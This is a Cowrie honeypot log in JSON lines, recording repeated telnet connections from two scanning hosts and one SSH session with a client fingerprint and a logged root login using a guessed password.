{"eventid":"cowrie.session.closed","duration":30.859201908111572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.752794Z","src_ip":"208.115.200.90","session":"cf0ac66ef588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484920501708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.813126Z","src_ip":"208.115.200.90","session":"3cd30cf7eeee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed9057c6679","protocol":"telnet","message":"New connection: 208.115.200.90:34628 (10.17.0.5:23) [session: fed9057c6679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.164220Z"}
{"eventid":"cowrie.session.closed","duration":30.904329299926758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.176351Z","src_ip":"208.115.200.90","session":"7ab49344d131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0783a4d4e666","protocol":"telnet","message":"New connection: 208.115.200.90:34638 (10.17.0.5:23) [session: 0783a4d4e666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.196816Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34660,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb979f461e13","protocol":"telnet","message":"New connection: 208.115.200.90:34660 (10.17.0.5:23) [session: eb979f461e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.325004Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43620,"dst_ip":"10.17.0.5","dst_port":23,"session":"49ceff1443bc","protocol":"telnet","message":"New connection: 208.115.219.122:43620 (10.17.0.5:23) [session: 49ceff1443bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.335060Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43630,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ec5cb252c3","protocol":"telnet","message":"New connection: 208.115.219.122:43630 (10.17.0.5:23) [session: 58ec5cb252c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.387977Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f9dd3ec198","protocol":"telnet","message":"New connection: 208.115.219.122:43636 (10.17.0.5:23) [session: d3f9dd3ec198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.531994Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1334721de11a","protocol":"telnet","message":"New connection: 208.115.200.90:34700 (10.17.0.5:23) [session: 1334721de11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:21.632364Z"}
{"eventid":"cowrie.session.closed","duration":30.642383337020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.077236Z","src_ip":"208.115.200.90","session":"9d2b59f44fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82686471939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.097846Z","src_ip":"208.115.200.90","session":"317068893d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43814,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc931d1fb05f","protocol":"telnet","message":"New connection: 208.115.219.122:43814 (10.17.0.5:23) [session: bc931d1fb05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.134940Z"}
{"eventid":"cowrie.session.closed","duration":31.023050785064697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.188401Z","src_ip":"208.115.219.122","session":"abc2efeece8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34766,"dst_ip":"10.17.0.5","dst_port":23,"session":"1664fa2776b2","protocol":"telnet","message":"New connection: 208.115.200.90:34766 (10.17.0.5:23) [session: 1664fa2776b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.247891Z"}
{"eventid":"cowrie.session.closed","duration":30.41846513748169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.288186Z","src_ip":"208.115.200.90","session":"c38f2d3a5128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34796,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ddf6d1c2f1","protocol":"telnet","message":"New connection: 208.115.200.90:34796 (10.17.0.5:23) [session: 15ddf6d1c2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.363960Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a5fc34946b","protocol":"telnet","message":"New connection: 208.115.200.90:34830 (10.17.0.5:23) [session: c8a5fc34946b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:22.522048Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34904,"dst_ip":"10.17.0.5","dst_port":23,"session":"161c88a1e7b7","protocol":"telnet","message":"New connection: 208.115.200.90:34904 (10.17.0.5:23) [session: 161c88a1e7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.135120Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34918,"dst_ip":"10.17.0.5","dst_port":23,"session":"406ed881399a","protocol":"telnet","message":"New connection: 208.115.200.90:34918 (10.17.0.5:23) [session: 406ed881399a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.145462Z"}
{"eventid":"cowrie.session.closed","duration":30.726646184921265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.217130Z","src_ip":"208.115.200.90","session":"f92f80dca05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8712055683136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.228499Z","src_ip":"208.115.200.90","session":"e0720602a2bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089179754257202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.234183Z","src_ip":"208.115.200.90","session":"9043621a61a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901885986328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.270003Z","src_ip":"208.115.200.90","session":"0cf2ab8cdbb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627614498138428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.340845Z","src_ip":"208.115.200.90","session":"4450f2dc4b47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119603633880615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.393443Z","src_ip":"208.115.200.90","session":"f3550a1d4ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819302558898926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.442171Z","src_ip":"208.115.200.90","session":"7c593d60334f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49576163291931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.644738Z","src_ip":"208.115.219.122","session":"bb9d62bd3bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34900,"dst_ip":"10.17.0.5","dst_port":23,"session":"9efe7a967467","protocol":"telnet","message":"New connection: 208.115.200.90:34900 (10.17.0.5:23) [session: 9efe7a967467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.787438Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8eb8e4ee59e","protocol":"telnet","message":"New connection: 208.115.219.122:43818 (10.17.0.5:23) [session: b8eb8e4ee59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:23.963483Z"}
{"eventid":"cowrie.session.closed","duration":30.852065324783325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.081482Z","src_ip":"208.115.200.90","session":"b04d0c0506ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b14cc2fb440","protocol":"telnet","message":"New connection: 208.115.219.122:43828 (10.17.0.5:23) [session: 4b14cc2fb440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.098995Z"}
{"eventid":"cowrie.session.closed","duration":31.069568395614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.337972Z","src_ip":"208.115.200.90","session":"8a4dc99c7e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211397409439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.431296Z","src_ip":"208.115.200.90","session":"d907d03f10b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42512,"dst_ip":"10.17.0.5","dst_port":23,"session":"8949fd941aab","protocol":"telnet","message":"New connection: 208.115.200.90:42512 (10.17.0.5:23) [session: 8949fd941aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.450478Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d048a05af20","protocol":"telnet","message":"New connection: 208.115.200.90:42520 (10.17.0.5:23) [session: 4d048a05af20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.464186Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42532,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f54632402eb","protocol":"telnet","message":"New connection: 208.115.200.90:42532 (10.17.0.5:23) [session: 3f54632402eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.749050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42534,"dst_ip":"10.17.0.5","dst_port":23,"session":"83011e44ccaf","protocol":"telnet","message":"New connection: 208.115.200.90:42534 (10.17.0.5:23) [session: 83011e44ccaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.853961Z"}
{"eventid":"cowrie.session.closed","duration":31.508371114730835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:24.958567Z","src_ip":"208.115.200.90","session":"3e2c6154490a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64362382888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.015919Z","src_ip":"208.115.200.90","session":"ece0b26a2343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582213640213013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.057439Z","src_ip":"208.115.219.122","session":"f0b98b2c8707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01898503303528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.130039Z","src_ip":"208.115.200.90","session":"5ead252a56da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903279304504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.136088Z","src_ip":"208.115.200.90","session":"6b26678ff7a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86895751953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.139986Z","src_ip":"208.115.200.90","session":"871c00cbbed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"1110b0666e81","protocol":"telnet","message":"New connection: 208.115.200.90:42542 (10.17.0.5:23) [session: 1110b0666e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.171558Z"}
{"eventid":"cowrie.session.closed","duration":31.134732246398926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.223279Z","src_ip":"208.115.200.90","session":"c34a04258b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02547597885132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.228909Z","src_ip":"208.115.200.90","session":"f9526e06b9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255908250808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.724772Z","src_ip":"208.115.219.122","session":"0438f6656a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52756142616272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:25.782832Z","src_ip":"208.115.219.122","session":"067c79c7a377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42548,"dst_ip":"10.17.0.5","dst_port":23,"session":"99fec707b37e","protocol":"telnet","message":"New connection: 208.115.200.90:42548 (10.17.0.5:23) [session: 99fec707b37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.046397Z"}
{"eventid":"cowrie.session.closed","duration":30.90450167655945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.101464Z","src_ip":"208.115.200.90","session":"88ed0f008991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42556,"dst_ip":"10.17.0.5","dst_port":23,"session":"741b0e67be3e","protocol":"telnet","message":"New connection: 208.115.200.90:42556 (10.17.0.5:23) [session: 741b0e67be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.137144Z"}
{"eventid":"cowrie.session.closed","duration":31.093738794326782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.154753Z","src_ip":"208.115.200.90","session":"b66ba9ac24c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66786217689514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.168360Z","src_ip":"208.115.200.90","session":"7c883cf23e37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":47392,"dst_ip":"159.203.135.109","dst_port":22,"session":"95265c072e48","protocol":"ssh","message":"New connection: 191.255.52.36:47392 (159.203.135.109:22) [session: 95265c072e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.173383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.214793Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.346271Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53020,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a534ddb062","protocol":"telnet","message":"New connection: 208.115.219.122:53020 (10.17.0.5:23) [session: 74a534ddb062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.386775Z"}
{"eventid":"cowrie.session.closed","duration":30.99656891822815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.409791Z","src_ip":"208.115.200.90","session":"ac96b8621b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53048,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b933da3ccc2","protocol":"telnet","message":"New connection: 208.115.219.122:53048 (10.17.0.5:23) [session: 6b933da3ccc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.443004Z"}
{"eventid":"cowrie.session.closed","duration":31.178123950958252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.475996Z","src_ip":"208.115.200.90","session":"7203d29a33e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9bcc0d04ff","protocol":"telnet","message":"New connection: 208.115.200.90:42618 (10.17.0.5:23) [session: 7f9bcc0d04ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.585907Z"}
{"eventid":"cowrie.session.closed","duration":31.09490942955017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.601327Z","src_ip":"208.115.200.90","session":"6ee61d97759e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42672,"dst_ip":"10.17.0.5","dst_port":23,"session":"e655b691ede7","protocol":"telnet","message":"New connection: 208.115.200.90:42672 (10.17.0.5:23) [session: e655b691ede7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.675918Z"}
{"eventid":"cowrie.login.success","username":"root","password":"Aabb1122","message":"login attempt [root/Aabb1122] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:26.927451Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.917710065841675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.020074Z","src_ip":"208.115.219.122","session":"4c13f753be1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426482915878296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.075830Z","src_ip":"208.115.200.90","session":"95b49b4a9ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086047172546387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.080650Z","src_ip":"208.115.219.122","session":"9746f9354d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53078,"dst_ip":"10.17.0.5","dst_port":23,"session":"abf4a9b5f9a4","protocol":"telnet","message":"New connection: 208.115.219.122:53078 (10.17.0.5:23) [session: abf4a9b5f9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.141980Z"}
{"eventid":"cowrie.session.closed","duration":30.99894666671753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.170906Z","src_ip":"208.115.200.90","session":"f235e8eb8724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42756,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9b2cc124fb","protocol":"telnet","message":"New connection: 208.115.200.90:42756 (10.17.0.5:23) [session: 7b9b2cc124fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.226367Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42776,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9588fd91a0","protocol":"telnet","message":"New connection: 208.115.200.90:42776 (10.17.0.5:23) [session: 7a9588fd91a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.374502Z"}
{"eventid":"cowrie.session.closed","duration":30.811301231384277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.378915Z","src_ip":"208.115.200.90","session":"e221f47e43d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064667224884033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.394470Z","src_ip":"208.115.200.90","session":"ecf67e442d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42784,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0f2cba9900","protocol":"telnet","message":"New connection: 208.115.200.90:42784 (10.17.0.5:23) [session: bc0f2cba9900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.601107Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42788,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cda181b482b","protocol":"telnet","message":"New connection: 208.115.200.90:42788 (10.17.0.5:23) [session: 0cda181b482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.603986Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42820,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bb556b75c6","protocol":"telnet","message":"New connection: 208.115.200.90:42820 (10.17.0.5:23) [session: a8bb556b75c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:27.714417Z"}
{"eventid":"cowrie.session.closed","duration":30.573888540267944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.019515Z","src_ip":"208.115.200.90","session":"4f86f48e95ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89805507659912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.206677Z","src_ip":"208.115.200.90","session":"467171322f35","protocol":"telnet"}
